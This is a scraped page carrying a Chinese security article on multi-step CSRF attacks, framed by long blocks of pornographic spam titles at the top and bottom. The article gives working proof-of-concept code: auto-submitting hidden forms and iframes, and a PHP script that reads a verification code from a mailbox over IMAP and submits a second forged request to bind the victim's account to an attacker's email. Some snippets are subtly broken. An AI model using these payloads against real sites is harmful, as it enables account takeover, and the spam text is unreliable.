精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

多步CSRF漏洞場景及其利用

安全 漏洞 應用安全
平時大家討論的CSRF利用多是發(fā)送一次請求。比如CSRF刷粉絲,CSRF發(fā)微博。本文主要討論一個稍微復雜點的利用場景。

CSRF的漏洞原理和利用方式這里就不多贅述了。平時大家討論的CSRF利用多是發(fā)送一次請求。比如CSRF刷粉絲,CSRF發(fā)微博。這里主要討論一個稍微復雜點的利用場景。

最近在做測試的時候遇到一個案例,用戶綁定郵箱的請求沒有防御CSRF。但是大家都知道綁定郵箱這個操作不是一步完成了。這次遇到的這個案例是這樣的。用戶發(fā)送一個申請綁定郵箱的請求,服務器給該郵箱發(fā)送一個驗證碼,然后用戶在頁面中輸入驗證碼完成綁定。

多步CSRF漏洞場景及其利用

從上圖的路程中可以看出。按照常見的csrf的漏洞來說,這里是沒法利用的。因為即使我們偽造了請求,讓用戶發(fā)出了綁定申請的郵件,還需要用戶把這個驗證碼在頁面上輸入才行。經(jīng)過更進一步的分析發(fā)現(xiàn),圖中4這一步也是沒有防御CSRF的。也就是說我們可以偽造兩次請求來實現(xiàn)CSRF綁定郵箱。這樣一個場景就是比較典型的多步CSRF。

有了思路就可以開始寫demo了。最初的想法:是不是用兩個表單就可以了呢。

  1. <html> 
  2. <body> 
  3. <form id="form1" method="POST"  action=" https://www.example.com/first.aspx"> 
  4. <input type="hidden" name="test1" value="1"> 
  5. <input type="submit" value="form1"> 
  6. </form> 
  7. <form id="form2" method="POST"  action=" https://www.example.com/second.aspx"> 
  8. <input type="hidden" name="test2" value="2"> 
  9. <input type="submit" value="form2"> 
  10. </form> 
  11. <script> 
  12. document.getElementById("form1").submit();  
  13. window.setTimeout( function () { document.forms.form2.submit()}, 12000);    
  14. </script> 
  15. </body> 
  16. </html> 

測試發(fā)現(xiàn)這想法太天真了。***個表單提交之后,就會跳轉(zhuǎn)到返回的結(jié)果頁面了。第二個表單不會提交了。而且這里遇到的這個場景比較特殊,并不是僅僅是先后提交兩個表單就可以了。第二個表單里的值(驗證碼)是需要***個表單提交之后,從郵箱里讀出來再放到第二個表單里。經(jīng)過查找資料。找到幾個解決方案。

解決方案1:

使用form的target屬性。target 屬性規(guī)定在何處打開 action URL。

多步CSRF漏洞場景及其利用

根據(jù)查到的資料。默認是_self。所以會跳到結(jié)果頁。我們使用_blank試試。

  1. <html> 
  2. <body> 
  3. <form id="form1" method="POST"  target=';_blank' action=" https://www.example.com/first.aspx"> 
  4. <input type="hidden" name="test1" value="1"> 
  5. <input type="submit" value="form1"> 
  6. </form> 
  7. <form id="form2" method="POST" target='_blank' action=" https://www.example.com/second.aspx"> 
  8. <input type="hidden" name="test2" value="2"> 
  9. <input type="submit" value="form2"> 
  10. </form> 
  11. <script> 
  12. document.getElementById("form1").submit();  
  13. window.setTimeout( function () { document.forms.form2.submit()}, 12000);    
  14. </script> 
  15. </body> 
  16. </html> 

這種方式可以實現(xiàn)兩次post的需求,不過太過暴力。需要新彈出窗口不說。彈出窗口也很可能被瀏覽器攔截掉。

解決方案2:

target可以選擇一個frame。framename 在指定的框架中打開。所以可以這樣寫。這樣子可以比較優(yōu)雅的發(fā)兩個post請求。

  1. <html> 
  2. <body> 
  3. <form id="form1" method="POST" target='csrfIframe1' action="https://www.baidu.com/first.aspx"> 
  4. <input type="hidden" name="test1" value="1"> 
  5. <input type="submit" value="form1"> 
  6. </form> 
  7. <form id="form2" method="POST" target='csrfIframe2' action="https://www.baidu.com/second.aspx"> 
  8. <input type="hidden" name="test2" value="2"> 
  9. <input type="submit" value="form2"> 
  10. </form> 
  11.  window.onload = function() {  
  12.  document.getElementById("form1").submit();  
  13.  // to make 2nd form wait for 1st, put the following in a function and use as a callback for a new timer  
  14.  document.getElementById("form2").submit();  
  15.  }  
  16. </script> 
  17. <iframe style="display: hidden" height="0" width="0" frameborder="0" name="csrfIframe1"></iframe> 
  18. <iframe style="display: hidden" height="0" width="0" frameborder="0" name="csrfIframe2"></iframe> 
  19. </body> </html> 

解決方案3:

使用iframe自然也是可以的。類似

  1. <iframe src="2post3.html" width="0" height="0"> 
  2. </iframe> 
  3. <iframe src="2post4.html" width="0" height="0"> 
  4. </iframe> 

##具體到郵箱驗證這個場景我使用了如下的一個poc。因為需要到郵箱中獲取驗證碼。所以使用了兩個文件。

文件1:發(fā)送申請郵箱綁定的請求:

  1. <html> 
  2. <body> 
  3. <!-- hidden iframes --> 
  4. <iframe style="display: hidden" height="100" width="100" frameborder="0" name="csrfIframe1"></iframe> 
  5. <form id="form1" action="http://xxxxxxxxxxx/security" method="POST" target="csrfIframe1"> 
  6. <input type="hidden" name="email" value="郵箱@qq.com" /> 
  7. </form> 
  8. <script> 
  9. document.getElementById("form1").submit();  
  10. </script> 
  11. <iframe style="display: hidden" height="100" width="100" frameborder="0" name="csrfIframe22" src="http://localhost/test/mail.php"></iframe> 
  12. </body> 
  13. </html> 

文件2:iframe的文件需要去郵箱獲取驗證碼拼到表單里。

  1. <?php  
  2. $mail = 'mail@qq.com';  
  3. $mailPass = 'pass';  
  4. sleep(2);//等待郵件發(fā)送  
  5. //以騰訊企業(yè)郵箱做了測試  
  6. $mailServer="imap.qq.com"//IMAP主機  
  7. $mailLink="{{$mailServer}:993/ssl}INBOX" ;   
  8. $mailUser = $mail//郵箱用戶名  
  9. $mbox = imap_open($mailLink,$mailUser,$mailPassor die("can't connect: " . imap_last_error()); //開啟信箱imap_open  
  10. $totalrows = imap_num_msg($mbox);   
  11. // echo $totalrows;//取得信件數(shù)  
  12. $numcode = '';  
  13. $mailBody = imap_fetchbody($mbox$totalrows, 1); //獲取***的一封郵件  
  14. $mailBody = base64_decode($mailBody);  
  15. preg_match('/\d{6}/',$mailBody,$res);//匹配驗證碼  
  16. $numcode = $res[0];  
  17. echo $numcode;  
  18. $form2 = '<html>  
  19. <body>  
  20. <form id="form2" action="http:xxxxxx" method="POST" target="csrfIframe2">  
  21. <input type="hidden" name="captchacode" value="'.$numcode.'" />  
  22. <input type="hidden" name="email" value="'.$mail.'" />  
  23. </form>  
  24. <script>  
  25. document.getElementById("form2").submit();</script>  
  26. </body>   
  27. </html>';  
  28. echo $form2

如有雷同純屬巧合。參考資料:

http://blog.opensecurityresearch.com/2014/05/multi-stagedmulti-form-csrf.html

http://ceriksen.com/2012/09/29/two-stage-csrf-attacks/

責任編輯:藍雨淚 來源: FreeBuf
相關推薦

2023-05-06 11:05:50

2013-04-24 15:56:40

2015-03-06 17:02:51

2016-09-28 16:38:47

2014-07-17 15:47:52

2012-11-08 10:49:47

CSRF漏洞漏洞鮮果網(wǎng)

2015-04-30 13:51:41

2019-09-17 10:06:46

數(shù)據(jù)庫程序員網(wǎng)絡安全

2011-05-10 09:55:14

2016-06-08 10:09:24

2021-03-06 09:50:43

漏洞網(wǎng)絡安全網(wǎng)絡攻擊

2021-11-10 11:51:33

BrakTooth安全漏洞藍牙設備

2013-03-11 18:04:02

2022-04-01 10:04:27

]零日漏洞漏洞勒索軟件

2016-04-29 10:58:13

2023-06-11 17:24:26

2020-10-14 09:44:52

漏洞

2023-07-26 17:13:38

2009-03-15 09:52:20

2009-08-15 10:19:01

漏洞利用php expEXP程序
點贊
收藏

51CTO技術棧公眾號

亚洲视频自拍| 性xxxxbbbb| 一区二区三区在线| 精品日韩欧美一区二区| 精品无码国产一区二区三区av| 五月天福利视频| 欧美aⅴ一区二区三区视频| 日韩三级影视基地| 无码国产69精品久久久久网站| 成人免费看黄| 一区二区三区四区五区视频在线观看| 久久久久高清| 国产人妖一区二区三区| 国产欧美欧美| 久久久成人av| 精品人伦一区二区| 波多野结衣在线一区二区 | 亚洲av成人精品一区二区三区在线播放 | 国产精品丝袜白浆摸在线| 97成人资源站| 欧美日韩高清| 亚洲爱爱爱爱爱| 久久婷婷中文字幕| 成人免费视频观看| 欧美日韩国产一区二区| 黄黄视频在线观看| 成人影视在线播放| 不卡高清视频专区| 亚洲一区二区久久久久久 | 欧美日本一区二区在线观看| 日本午夜激情视频| 中文在线免费| 最近日韩中文字幕| 日韩免费毛片| 欧洲天堂在线观看| 99精品国产视频| 国产精品国产三级欧美二区| 国产又粗又猛又色又| 久久最新视频| 日本欧美一级片| 日韩美女一级片| 欧美精品不卡| 欧美www在线| 亚洲国产美女视频| 香蕉国产精品| 久久精品成人欧美大片古装| 免费网站在线高清观看| 猛男gaygay欧美视频| 亚洲精品720p| 屁屁影院国产第一页| av日韩精品| 精品国产乱码久久久久久免费| 天天操夜夜操很很操| 91精品福利观看| 欧美日韩电影一区| 极品粉嫩美女露脸啪啪| 国产高清亚洲| 日韩一区二区免费在线电影| 欧美精品色视频| 年轻的保姆91精品| 日韩欧美一级特黄在线播放| 日本在线视频播放| 99国产精品免费网站| 精品国产伦一区二区三区观看方式 | 成人欧美一区二区三区视频网页 | 国产欧美丝祙| 欧美亚洲在线视频| 精品人妻一区二区三区潮喷在线| 香蕉久久夜色精品国产| 国产成人精品久久久| 无码人妻丰满熟妇精品区| 日日摸夜夜添夜夜添精品视频| 国产精品扒开腿做爽爽爽的视频| 国产乱码在线观看| 国产综合一区二区| 97免费资源站| 视频国产在线观看| 欧美高清在线一区| 青青草原网站在线观看| 国产在线精彩视频| 91久久精品日日躁夜夜躁欧美| 国产精品无码一本二本三本色| 99riav视频一区二区| 欧美一区在线视频| 这里只有精品在线观看视频| 欧美一级色片| 中文字幕亚洲欧美| 久草成人在线视频| 久久成人亚洲| 成人高清视频观看www| 成人精品在线播放| 久久久久久久国产精品影院| 影音先锋欧美资源| 超碰高清在线| 在线免费精品视频| www日本在线观看| 嫩草影视亚洲| 欧美另类69精品久久久久9999| 四虎永久在线精品| 麻豆免费精品视频| 懂色av一区二区三区在线播放| 黄色的视频在线免费观看| 亚洲欧洲日韩在线| 免费高清在线观看免费| 日韩三级一区| 日韩精品亚洲精品| www深夜成人a√在线| 中日韩男男gay无套| 成人激情视频网| 黄色电影免费在线看| 亚洲一区二区三区中文字幕| 国产精品一区二区羞羞答答| 9l视频自拍蝌蚪9l视频成人| 日韩在线视频导航| 草莓视频18免费观看| 懂色一区二区三区免费观看| 亚洲一区二区在线免费观看| 亚洲精品福利电影| 日韩欧美第一区| 亚洲女人毛茸茸高潮| 亚洲欧美日韩在线观看a三区| 亚洲在线免费看| 91在线不卡| 色婷婷激情久久| 好男人香蕉影院| 欧美区亚洲区| 91久久久久久| 午夜老司机在线观看| 欧美午夜片欧美片在线观看| 欧美性生交xxxxx| 欧美久久成人| 亚洲一区二区在线播放| 午夜在线小视频| 欧洲另类一二三四区| 黄色aaa视频| 国产精品色网| 久久国产日韩欧美| 日产福利视频在线观看| 精品国产123| 欧美精品一区二区成人| 国产一区二区毛片| 中文精品一区二区三区| 久久国内精品| 日韩在线观看免费av| 中文在线观看免费高清| 国产亚洲欧美日韩日本| 欧洲av无码放荡人妇网站| 日本一区福利在线| 久久久免费电影| 午夜视频免费看| 丁香五六月婷婷久久激情| 色噜噜在线观看| 亚洲欧美日本日韩| 欧美日韩高清免费| 精品3atv在线视频| 国产性猛交xxxx免费看久久| 男操女视频网站| 中文字幕不卡一区| 亚洲老女人av| 亚洲字幕久久| 国产精品国产精品| 日本三级一区| 在线性视频日韩欧美| 亚洲天堂久久久久| 一区二区三区中文字幕电影| 91精品国产高清91久久久久久| 激情欧美日韩一区| 久久久久网址| 九七影院97影院理论片久久| 蜜臀久久99精品久久久无需会员 | 欧美激情精品久久久久久大尺度 | 欧美美乳视频| 成人免费淫片视频软件| 免费污视频在线| 精品亚洲一区二区三区| 免费一级a毛片| 亚洲女同女同女同女同女同69| 亚洲v在线观看| 免费日韩精品中文字幕视频在线| 日本在线免费观看一区| 色综合视频一区二区三区日韩 | 忘忧草在线影院两性视频| 亚洲欧美日本精品| 一区二区三区免费在线视频| 亚洲午夜影视影院在线观看| 亚洲第一页av| 寂寞少妇一区二区三区| 成品人视频ww入口| 精品国产不卡| 国产 高清 精品 在线 a| 深夜av在线| 操日韩av在线电影| 日韩国产福利| 欧美一区二区视频在线观看 | 色婷婷精品国产一区二区三区| 亚洲狼人综合| 2018日韩中文字幕| 免费的黄网站在线观看| 日韩电影第一页| 国产欧美久久久| 日本精品一级二级| 久久久久久天堂| 国产精品色在线| 精品人妻一区二区三区日产| 久久狠狠亚洲综合| 国产v片免费观看| 永久亚洲成a人片777777| 欧美一区三区二区在线观看| 老司机亚洲精品一区二区| 日本亚洲欧美三级| 啦啦啦中文在线观看日本| 国产亚洲欧洲在线| 天天操天天干天天爱| 3atv一区二区三区| 久久久久亚洲视频| 婷婷开心久久网| 青娱乐免费在线视频| 国产精品人妖ts系列视频| 99re久久精品国产| 国产91精品免费| 最新免费av网址| 男女激情视频一区| 欧美综合在线观看视频| 亚洲国产免费| 欧美乱做爰xxxⅹ久久久| 欧美aaaa视频| 一区二区三视频| 欧美精品久久久久久| 狠狠色伊人亚洲综合网站色| 中文字幕av一区二区三区四区| 国产欧亚日韩视频| 国产资源一区| 国产精品久久999| 欧美自拍电影| 国产99久久精品一区二区永久免费 | 蜜桃精品成人影片| aaa欧美色吧激情视频| 中国黄色片视频| 成人午夜激情视频| 亚洲精品久久一区二区三区777 | av一区二区三区在线观看| 久久精品超碰| 国产伦精品免费视频| 日韩欧美一区二区三区在线观看| 欧美一级黄色网| 三上悠亚亚洲一区| 国产成人免费91av在线| 久久91导航| 国产精品你懂得| 国产精品久久久久久久久免费高清| 国产精品69精品一区二区三区| japanese23hdxxxx日韩| 国产成人精品最新| 91成人在线| 国产在线视频2019最新视频| 色999韩欧美国产综合俺来也| 成人黄色午夜影院| 亚洲日本va午夜在线电影| 国产日韩欧美二区| 亚洲国产欧美日韩在线观看第一区 | 国产免费一区二区三区免费视频| 欧美久久一二三四区| 999久久久久久| 亚洲爱爱爱爱爱| 国产污视频在线| www.xxxx精品| √天堂8资源中文在线| 2018日韩中文字幕| 成人精品动漫| 亚洲精品日产aⅴ| 琪琪久久久久日韩精品| 日本欧洲国产一区二区| 久久影院100000精品| 超薄肉色丝袜足j调教99| 亚洲国产高清一区二区三区| 久久久久久久久久久免费视频| 日本午夜一本久久久综合| 在线播放黄色av| av电影在线观看完整版一区二区| 性猛交ⅹxxx富婆video | 中国一级黄色录像| a91a精品视频在线观看| 中文字幕第21页| 国产成人精品亚洲午夜麻豆| 极品人妻一区二区三区| 国产精品第一页第二页第三页| 精品99久久久久成人网站免费 | 亚洲黄色av网址| 国产高清不卡一区二区| 丰满圆润老女人hd| 亚洲九九爱视频| 久久人妻免费视频| 日韩欧美一级片| 国产福利在线视频| 欧美激情视频播放| 国产亚洲欧美日韩精品一区二区三区| 99久久精品无码一区二区毛片| 精品一区免费| 69精品丰满人妻无码视频a片| 日本在线观看不卡视频| 蜜臀aⅴ国产精品久久久国产老师| 欧美激情一区二区三区不卡| 香蕉视频一区二区| 在线播放日韩导航| 欧美性孕妇孕交| 欧美韩国理论所午夜片917电影| 小黄鸭精品aⅴ导航网站入口| 成人资源av| 国产精品毛片久久| 国产视频一区二区三区在线播放| 国产麻豆精品久久一二三| av网站有哪些| 一区二区三区不卡在线观看| 日批视频免费观看| 日韩麻豆第一页| 国产探花视频在线观看| 91久久久国产精品| 久久久综合色| 久久久久久三级| 久久麻豆一区二区| 五月天婷婷网站| 日韩免费看网站| 成人影欧美片| 国产美女精品视频免费观看| 国产精品中文字幕亚洲欧美| 国产视频九色蝌蚪| 成人av网站在线观看| 欧美成人片在线观看| 欧美精三区欧美精三区| 成人网视频在线观看| 日本老师69xxx| 九九视频精品全部免费播放| av之家在线观看| 91色视频在线| 久久久精品福利| 亚洲精品美女久久久久| caoporn视频在线| 国产精品自拍首页| 国产精品www.| 老熟女高潮一区二区三区| 亚洲精品视频在线观看网站| 国产熟女一区二区丰满| 久久中文字幕国产| 日本精品一区二区三区在线观看视频| 亚洲自拍的二区三区| 久久99久久99| 黄色香蕉视频在线观看| 欧美一区2区视频在线观看| 国产丝袜在线| 91视频99| 99综合在线| 老头老太做爰xxx视频| 欧美四级电影网| 国产网站在线免费观看| 97se亚洲综合在线| 亚洲国产专区校园欧美| 少妇精品无码一区二区三区| 狠狠色噜噜狠狠狠狠97| 黄色av网站在线看| 国产精品一区久久| 亚洲澳门在线| 国产免费a级片| 岛国av一区二区三区| 国产露出视频在线观看| 国产精品一区二区性色av| 欧美国产精品| 捆绑裸体绳奴bdsm亚洲| 在线免费视频一区二区| 九色porny丨首页在线| 99一区二区| 亚洲欧美久久久| 久久噜噜色综合一区二区| 欧美一级黄色片| 中国色在线日|韩| 亚洲一区二区自拍偷拍| 成人av午夜影院| 中文字幕+乱码+中文乱码www| 欧美成人一二三| 日本在线中文字幕一区| 亚洲一级免费在线观看| 一区二区三区在线播放| 亚洲 小说区 图片区 都市| 国产美女扒开尿口久久久| 欧美极品一区二区三区| 国产精品一二三区在线观看| 欧美日本在线视频| 日本乱码一区二区三区不卡| 一区二区三区四区五区精品| 粉嫩13p一区二区三区| 亚洲午夜在线播放| 欧美精品videossex88| 欧美一级精品片在线看| 午夜福利三级理论电影| 欧美三级三级三级| 国产福利电影在线播放| 一本一道久久久a久久久精品91| 不卡一区在线观看| 国产孕妇孕交大片孕| 91av在线视频观看| 一区二区国产在线|